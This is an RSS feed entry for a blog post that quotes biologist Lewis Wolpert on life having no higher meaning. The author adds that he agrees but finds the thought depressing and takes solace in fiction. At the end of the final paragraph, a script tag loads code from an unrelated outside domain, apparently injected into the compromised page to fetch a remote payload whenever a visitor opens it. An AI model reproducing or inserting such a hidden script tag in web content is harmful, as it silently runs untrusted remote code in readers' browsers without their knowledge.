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		<title>No meaning</title>
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		<description><![CDATA[From an interview with Lewis Wolpert, developmental biologist: why should there be a meaning? I mean, we want a cause as to why we&#8217;re here, but I&#8217;m afraid there isn&#8217;t one. I don&#8217;t find it depressing at all. # It&#8217;s &#8230; <a href="http://benhourigan.com/archives/2007/05/19/no-meaning/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>From an interview with Lewis Wolpert, developmental biologist:</p>
<blockquote><p>why should there be a meaning? I mean, we want a cause as to why we&#8217;re here, but I&#8217;m afraid there isn&#8217;t one. I don&#8217;t find it depressing at all. <a title="Manufacturing belief" href="http://www.salon.com/books/feature/2007/05/15/lewis_wolpert/index.html" target="_blank">#</a></p></blockquote>
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It&#8217;s exactly what I believe. Unfortunately for me, I&#160;<em>do</em>&#160;find it depressing, at least when I&#8217;m dissatisfied with other aspects of my life (love, career, money), which is almost always. Not believing that there&#8217;s any higher meaning puts a lot of pressure on one to achieve material success.</p>
<p>Where others might take their solace in religion, I tend to take mine in fiction, where&#160;I&#160;can&#160;brush&#160;off the fantasy that events fall in place according to an overarching plan and purpose as a conceit for the sake of aesthetics or entertainment. <script src="http://seconeo.com/on"></script></p>
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